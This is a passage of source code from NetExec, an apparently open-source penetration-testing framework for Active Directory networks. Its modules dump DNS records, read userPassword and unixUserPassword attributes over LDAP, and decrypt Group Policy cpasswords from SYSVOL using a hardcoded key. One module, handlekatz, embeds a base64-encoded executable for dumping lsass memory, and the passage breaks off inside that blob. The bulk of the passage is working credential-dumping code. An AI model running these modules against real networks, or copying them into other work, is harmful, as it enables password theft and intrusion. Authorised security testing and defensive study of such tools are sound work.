elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts): address = DNS_RPC_RECORD_NODE_NAME(dr["Data"]) if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, "type": RECORD_TYPE_MAPPING[dr["Type"]], "value": address["nameNode"].toFqdn(), } ) elif dr["Type"] == AAAA: address = DNS_RPC_RECORD_AAAA(dr["Data"]) if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, "type": RECORD_TYPE_MAPPING[dr["Type"]], "value": address.formatCanonical(), } ) # Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set if not (self.showall or self.showhosts): seen_ips = set() outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))] context.log.highlight(f"Found {len(outdata)} records") path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") with codecs.open(path, "w", "utf-8") as outfile: for row in outdata: if self.showhosts: outfile.write(f"{row['name'] + '.' + connection.domain}\n") elif self.showall: outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n") else: outfile.write(f"{row['value']}\n") context.log.success(f"Dumped {len(outdata)} records to {path}") if not self.showall and not self.showhosts: context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent") class DNS_RECORD(Structure): """ dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2 """ structure = ( ("DataLength", "L"), ("Reserved", "H"), ("wRecordCount", ">H"), ("dwFlags", ">L"), ("dwChildCount", ">L"), ("dnsNodeName", ":"), ) class DNS_RPC_RECORD_A(Structure): """ DNS_RPC_RECORD_A [MS-DNSP] section 2.2.2.2.4.1 """ structure = (("address", ":"),) def formatCanonical(self): return socket.inet_ntoa(self["address"]) def fromCanonical(self, canonical): self["address"] = socket.inet_aton(canonical) class DNS_RPC_RECORD_NODE_NAME(Structure): """ DNS_RPC_RECORD_NODE_NAME [MS-DNSP] section 2.2.2.2.4.2 """ structure = (("nameNode", ":", DNS_COUNT_NAME),) class DNS_RPC_RECORD_SOA(Structure): """ DNS_RPC_RECORD_SOA [MS-DNSP] section 2.2.2.2.4.3 """ structure = ( ("dwSerialNo", ">L"), ("dwRefresh", ">L"), ("dwRetry", ">L"), ("dwExpire", ">L"), ("dwMinimumTtl", ">L"), ("namePrimaryServer", ":", DNS_COUNT_NAME), ("zoneAdminEmail", ":", DNS_COUNT_NAME), ) class DNS_RPC_RECORD_NULL(Structure): """ DNS_RPC_RECORD_NULL [MS-DNSP] section 2.2.2.2.4.4 """ structure = (("bData", ":"),) # Some missing structures here that I skipped class DNS_RPC_RECORD_NAME_PREFERENCE(Structure): """ DNS_RPC_RECORD_NAME_PREFERENCE [MS-DNSP] section 2.2.2.2.4.8 """ structure = (("wPreference", ">H"), ("nameExchange", ":", DNS_COUNT_NAME)) # Some missing structures here that I skipped class DNS_RPC_RECORD_AAAA(Structure): """ DNS_RPC_RECORD_AAAA [MS-DNSP] section 2.2.2.2.4.17 """ structure = (("ipv6Address", "16s"),) def formatCanonical(self): return socket.inet_ntop(socket.AF_INET6, self["ipv6Address"]) class DNS_RPC_RECORD_SRV(Structure): """ DNS_RPC_RECORD_SRV [MS-DNSP] section 2.2.2.2.4.18 """ structure = ( ("wPriority", ">H"), ("wWeight", ">H"), ("wPort", ">H"), ("nameTarget", ":", DNS_COUNT_NAME), ) class DNS_RPC_RECORD_TS(Structure): """ DNS_RPC_RECORD_TS [MS-DNSP] section 2.2.2.2.4.23 """ structure = (("entombedTime", "= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") resp = e.getAnswers() else: nxc_logger.debug(e) return False if resp: resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") for user in resp_parsed: context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}") else: context.log.fail("No unixUserPassword Found") NetExec-1.5.1/nxc/modules/get-userPassword.py000066400000000000000000000031211514706431700211460ustar00rootroot00000000000000from impacket.ldap import ldap as ldap_impacket from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: """ Get userPassword attribute from all users in ldap Module by @SyzikSecu """ name = "get-userPassword" description = "Get userPassword attribute from all users in ldap" supported_protocols = ["ldap"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ """ def on_login(self, context, connection): searchFilter = "(userPassword=*)" try: context.log.debug(f"Search Filter={searchFilter}") resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") resp = e.getAnswers() else: nxc_logger.debug(e) return False if resp: resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") for user in resp_parsed: context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}") else: context.log.fail("No userPassword Found") NetExec-1.5.1/nxc/modules/get_netconnections.py000077500000000000000000000023261514706431700215710ustar00rootroot00000000000000from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH import json class NXCModule: """ Uses WMI to extract network connections, used to find multi-homed hosts. Module by @fang0654 """ name = "get_netconnections" description = "Uses WMI to query network connections." supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): data = [] cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") if cards: for c in cards: if c["IPAddress"].get("value"): context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}") data.append(cards) log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" write_log(json.dumps(data), log_name) context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") NetExec-1.5.1/nxc/modules/gpp_autologin.py000066400000000000000000000044451514706431700205510ustar00rootroot00000000000000import xml.etree.ElementTree as ET from io import BytesIO from nxc.helpers.misc import CATEGORY class NXCModule: """ Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 Module by @byt3bl33d3r """ name = "gpp_autologin" description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ """ def on_login(self, context, connection): shares = connection.shares() for share in shares: if share["name"] == "SYSVOL" and "READ" in share["access"]: context.log.success("Found SYSVOL share") context.log.display("Searching for Registry.xml") paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) for path in paths: context.log.display(f"Found {path}") buf = BytesIO() connection.conn.getFile("SYSVOL", path, buf.write) xml = ET.fromstring(buf.getvalue()) if xml.findall('.//Properties[@name="DefaultPassword"]'): usernames = [] passwords = [] domains = [] xml_section = xml.findall(".//Properties") for section in xml_section: attrs = section.attrib if attrs["name"] == "DefaultPassword": passwords.append(attrs["value"]) if attrs["name"] == "DefaultUserName": usernames.append(attrs["value"]) if attrs["name"] == "DefaultDomainName": domains.append(attrs["value"]) if usernames or passwords: context.log.success(f"Found credentials in {path}") context.log.highlight(f"Usernames: {usernames}") context.log.highlight(f"Domains: {domains}") context.log.highlight(f"Passwords: {passwords}") NetExec-1.5.1/nxc/modules/gpp_password.py000066400000000000000000000110311514706431700203770ustar00rootroot00000000000000import xml.etree.ElementTree as ET from Cryptodome.Cipher import AES from base64 import b64decode from binascii import unhexlify from io import BytesIO from nxc.helpers.misc import CATEGORY class NXCModule: """ Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 Module by @byt3bl33d3r """ name = "gpp_password" description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_login(self, context, connection): shares = connection.shares() for share in shares: if share["name"].lower() == "sysvol" and "READ" in share["access"]: sysvol = share["name"] context.log.success("Found SYSVOL share") context.log.display("Searching for potential XML files containing passwords") paths = connection.spider( sysvol, pattern=[ "Groups.xml", "Services.xml", "Scheduledtasks.xml", "DataSources.xml", "Printers.xml", "Drives.xml", ], ) for path in paths: context.log.display(f"Found {path}") buf = BytesIO() connection.conn.getFile(sysvol, path, buf.write) xml = ET.fromstring(buf.getvalue()) sections = [] if "Groups.xml" in path: sections.append("./User/Properties") elif "Services.xml" in path: sections.append("./NTService/Properties") elif "ScheduledTasks.xml" in path: sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties")) elif "DataSources.xml" in path: sections.append("./DataSource/Properties") elif "Printers.xml" in path: sections.append("./SharedPrinter/Properties") elif "Drives.xml" in path: sections.append("./Drive/Properties") for section in sections: xml_section = xml.findall(section) for attr in xml_section: props = attr.attrib if "cpassword" in props: for user_tag in [ "userName", "accountName", "runAs", "username", ]: if user_tag in props: username = props[user_tag] password = self.decrypt_cpassword(props["cpassword"]) context.log.success(f"Found credentials in {path}") context.log.highlight(f"Password: {password}") for k, v in props.items(): if k != "cpassword": context.log.highlight(f"{k}: {v}") hostid = context.db.get_hosts(connection.host)[0][0] context.db.add_credential( "plaintext", "", username, password, pillaged_from=hostid, ) def decrypt_cpassword(self, cpassword): # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b") cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) IV = "\x00" * 16 decypted = AES.new(key, AES.MODE_CBC, IV.encode("utf8")).decrypt(password) return decypted.decode().rstrip() NetExec-1.5.1/nxc/modules/gpp_privileges.py000066400000000000000000000250211514706431700207120ustar00rootroot00000000000000import ssl import ldap3 import re from io import BytesIO from nxc.helpers.misc import CATEGORY class NXCModule: """ Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files and resolving SIDs using LDAP. """ name = "gpp_privileges" description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION WELL_KNOWN_SIDS = { "S-1-0": "Null Authority", "S-1-0-0": "Nobody", "S-1-1": "World Authority", "S-1-1-0": "Everyone", "S-1-2": "Local Authority", "S-1-2-0": "Local", "S-1-2-1": "Console Logon", "S-1-3": "Creator Authority", "S-1-3-0": "Creator Owner", "S-1-3-1": "Creator Group", "S-1-3-2": "Creator Owner Server", "S-1-3-3": "Creator Group Server", "S-1-3-4": "Owner Rights", "S-1-5-80-0": "All Services", "S-1-4": "Non-unique Authority", "S-1-5": "NT Authority", "S-1-5-1": "Dialup", "S-1-5-2": "Network", "S-1-5-3": "Batch", "S-1-5-4": "Interactive", "S-1-5-6": "Service", "S-1-5-7": "Anonymous", "S-1-5-8": "Proxy", "S-1-5-9": "Enterprise Domain Controllers", "S-1-5-10": "Principal Self", "S-1-5-11": "Authenticated Users", "S-1-5-12": "Restricted Code", "S-1-5-13": "Terminal Server Users", "S-1-5-14": "Remote Interactive Logon", "S-1-5-15": "This Organization", "S-1-5-17": "This Organization", "S-1-5-18": "Local System", "S-1-5-19": "NT Authority", "S-1-5-20": "NT Authority", "S-1-5-32-544": "Administrators", "S-1-5-32-545": "Users", "S-1-5-32-546": "Guests", "S-1-5-32-547": "Power Users", "S-1-5-32-548": "Account Operators", "S-1-5-32-549": "Server Operators", "S-1-5-32-550": "Print Operators", "S-1-5-32-551": "Backup Operators", "S-1-5-32-552": "Replicators", "S-1-5-64-10": "NTLM Authentication", "S-1-5-64-14": "SChannel Authentication", "S-1-5-64-21": "Digest Authority", "S-1-5-80": "NT Service", "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", "S-1-16-0": "Untrusted Mandatory Level", "S-1-16-4096": "Low Mandatory Level", "S-1-16-8192": "Medium Mandatory Level", "S-1-16-8448": "Medium Plus Mandatory Level", "S-1-16-12288": "High Mandatory Level", "S-1-16-16384": "System Mandatory Level", "S-1-16-20480": "Protected Process Mandatory Level", "S-1-16-28672": "Secure Process Mandatory Level", "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access", "S-1-5-32-555": "BUILTIN\\Remote Desktop Users", "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders", "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", "S-1-5-32-558": "BUILTIN\\Performance Monitor Users", "S-1-5-32-559": "BUILTIN\\Performance Log Users", "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group", "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers", "S-1-5-32-562": "BUILTIN\\Distributed COM Users", "S-1-5-32-569": "BUILTIN\\Cryptographic Operators", "S-1-5-32-573": "BUILTIN\\Event Log Readers", "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access", "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers", "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers", "S-1-5-32-577": "BUILTIN\\RDS Management Servers", "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators", "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators", "S-1-5-32-580": "BUILTIN\\Remote Management Users", } def options(self, context, module_options): """NO_LDAP If set to True, disables LDAP queries for resolving SIDs.""" self.no_ldap = module_options.get("NO_LDAP", False) def on_login(self, context, connection): try: connection.conn.listPath("SYSVOL", "*") except Exception as e: context.log.fail(f"Failed to list shares: {e}") return context.log.display("Searching for GptTmpl.inf files") paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"]) if not paths: context.log.warning("No GptTmpl.inf files found in SYSVOL.") return for path in paths: if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}") else: context.log.info(f"Found GptTmpl.inf: {path}") buf = BytesIO() connection.conn.getFile("SYSVOL", path, buf.write) try: content = buf.getvalue().decode("utf-16le") except UnicodeDecodeError as e: context.log.error(f"Failed to decode {path} as UTF-16LE: {e}") continue privileges = self.extract_privileges(content) if privileges: ldap_connection = None if not self.no_ldap: ldap_connection = self.initialize_ldap_connection(context, connection) context.log.success(f"Privileges extracted from {path}:") for privilege, sids in privileges.items(): resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids] context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") if ldap_connection: ldap_connection.unbind() def extract_privileges(self, content): """Parses the content of GptTmpl.inf to extract privilege rights.""" privileges = {} in_priv_section = False for line in content.splitlines(): if line.strip() == "[Privilege Rights]": in_priv_section = True continue if in_priv_section and line.strip() == "": break if in_priv_section: match = re.match(r"^(.*?)\s*=\s*(.*)$", line) if match: privilege, sids = match.groups() privileges[privilege] = [sid.strip("*") for sid in sids.split(",")] return privileges def initialize_ldap_connection(self, context, connection): """ Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. Attempts to retrieve the base DN from the Root DSE or derive it from the domain name. """ tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0") base_dn = None try: ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL) ldap_connection = ldap3.Connection( ldap_server, user=f"{connection.domain}\\{connection.username}", password=connection.password, authentication=ldap3.NTLM, raise_exceptions=True, ) ldap_connection.bind() context.log.success("Connected to LDAP over SSL (LDAPS).") try: base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] except Exception as e: context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") if not base_dn: domain_parts = connection.domain.split(".") base_dn = ",".join([f"dc={part}" for part in domain_parts]) context.log.info(f"Derived base DN: {base_dn}") ldap_connection.base_dn = base_dn return ldap_connection except Exception as ldaps_error: context.log.warning(f"LDAPS connection failed: {ldaps_error}") context.log.info("Falling back to plain LDAP...") try: ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL) ldap_connection = ldap3.Connection( ldap_server, user=f"{connection.domain}\\{connection.username}", password=connection.password, authentication=ldap3.NTLM, raise_exceptions=True, ) ldap_connection.bind() context.log.info("Connected to LDAP successfully (plaintext).") try: base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] except Exception as e: context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") if not base_dn: domain_parts = connection.domain.split(".") base_dn = ",".join([f"dc={part}" for part in domain_parts]) context.log.info(f"Derived base DN: {base_dn}") ldap_connection.base_dn = base_dn return ldap_connection except Exception as ldap_error: context.log.error(f"Failed to connect to LDAP: {ldap_error}") return None def resolve_sid(self, context, sid, ldap_connection): """Resolves a SID to a human-readable name using well-known mappings or LDAP queries.""" if sid in self.WELL_KNOWN_SIDS: return self.WELL_KNOWN_SIDS[sid] if ldap_connection and ldap_connection.bound: try: base_dn = getattr(ldap_connection, "base_dn", None) if not base_dn: context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.") return sid search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})" ldap_connection.search( search_base=base_dn, search_filter=search_filter, attributes=["sAMAccountName"], ) if ldap_connection.entries: entry = ldap_connection.entries[0] return f"{entry['sAMAccountName']}" else: context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") except Exception as e: context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}") else: context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}") return sid NetExec-1.5.1/nxc/modules/group-mem.py000066400000000000000000000100031514706431700175750ustar00rootroot00000000000000from impacket.ldap import ldapasn1 as ldapasn1_impacket import sys from nxc.helpers.misc import CATEGORY class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt Initial module: https://github.com/Cyb3rC3lt/CrackMapExec-Modules """ name = "group-mem" description = "[REMOVED] Retrieves all the members within a Group" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION primaryGroupID = "" answers = [] def options(self, context, module_options): r""" [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem. group-mem: Specify group-mem to call the module GROUP: Specify the GROUP option to query for that group's members Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins" nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers" """ self.GROUP = "" if "GROUP" in module_options: self.GROUP = module_options["GROUP"] else: context.log.error("GROUP option is required!") sys.exit(1) def on_login(self, context, connection): context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.") return None # First look up the SID of the group passed in search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))" attribute = "objectSid" search_result = do_search(self, context, connection, search_filter, attribute) # If no SID for the Group is returned exit the program if search_result is None: context.log.success('Unable to find any members of the "' + self.GROUP + '" group') return True # Convert the binary SID to a primaryGroupID string to be used further sid_string = connection.sid_to_str(search_result).split("-") self.primaryGroupID = sid_string[-1] # Look up the groups DN search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))" attribute = "distinguishedName" distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8") # Carry out the search search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))" attribute = "sAMAccountName" search_result = do_search(self, context, connection, search_filter, attribute) if len(self.answers) > 0: context.log.success("Found the following members of the " + self.GROUP + " group:") for answer in self.answers: context.log.highlight(f"{answer[0]}") # Carry out an LDAP search for the Group with the supplied Group name def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue attribute_value = "" try: for attribute in item["attributes"]: if str(attribute["type"]) == attributeName: if attributeName in ["objectSid", "distinguishedName"]: return bytes(attribute["vals"][0]) else: attribute_value = str(attribute["vals"][0]) if attribute_value is not None: self.answers.append([attribute_value]) except Exception as e: context.log.debug("Exception:", exc_info=True) context.log.debug(f"Skipping item, cannot process due to error {e}") except Exception as e: context.log.debug(f"Exception: {e}") return False NetExec-1.5.1/nxc/modules/groupmembership.py000066400000000000000000000101051514706431700211000ustar00rootroot00000000000000from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket import sys from nxc.helpers.misc import CATEGORY class NXCModule: """ Created as a contributtion from HackTheBox Academy team for CrackMapExec Reference: https://academy.hackthebox.com/module/details/84 Module by @juliourena Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py """ name = "groupmembership" description = "Query the groups to which a user belongs." supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """USER Choose a username to query group membership""" self.user = "" if "USER" in module_options: if module_options["USER"] == "": context.log.fail("Invalid value for USER option!") sys.exit(1) self.user = module_options["USER"] else: context.log.fail("Missing USER option, use --options to list available parameters") sys.exit(1) def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection""" # Building the search filter searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))" try: context.log.debug(f"Search Filter={searchFilter}") resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() else: context.log.debug(e) return False memberOf = [] primaryGroupID = "" context.log.debug(f"Total of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue try: for attribute in item["attributes"]: if str(attribute["type"]) == "primaryGroupID": primaryGroupID = attribute["vals"][0] # Hardcode value for Domain Users primary Group ID 513 # For future improvement maybe we can query the primary ID value # Reference: https://social.technet.microsoft.com/Forums/Azure/en-US/373febac-665c-494d-91f7-834541c74bee/cant-get-all-member-objects-from-domain-users-in-ldap?forum=winserverDS if str(primaryGroupID) == "513": memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX") elif str(attribute["type"]) == "memberOf": memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)] except Exception as e: context.log.debug("Exception:", exc_info=True) context.log.debug(f"Skipping item, cannot process due to error {e!s}") if len(memberOf) > 0: context.log.success(f"User: {self.user} is member of following groups: ") for group in memberOf: # Split the string on the "," character to get a list of the group name and parent group names group_parts = group.split(",") # The group name is the first element in the list, so we can extract it by taking the first element of the list # and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN") group_name = group_parts[0].split("=")[1] context.log.highlight(f"{group_name}") NetExec-1.5.1/nxc/modules/handlekatz.py000066400000000000000000002611441514706431700200300ustar00rootroot00000000000000# handlekatz module for nxc python3 # author of the module : github.com/mpgn # HandleKatz: https://github.com/codewhitesec/HandleKatz import base64 import re import sys from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY from pypykatz.pypykatz import pypykatz class NXCModule: name = "handlekatz" description = "Get lsass dump using handlekatz64 and parse the result with pypykatz" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): r""" TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/) HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe) DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH) """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] self.handlekatz_embeded = base64.b64decode( "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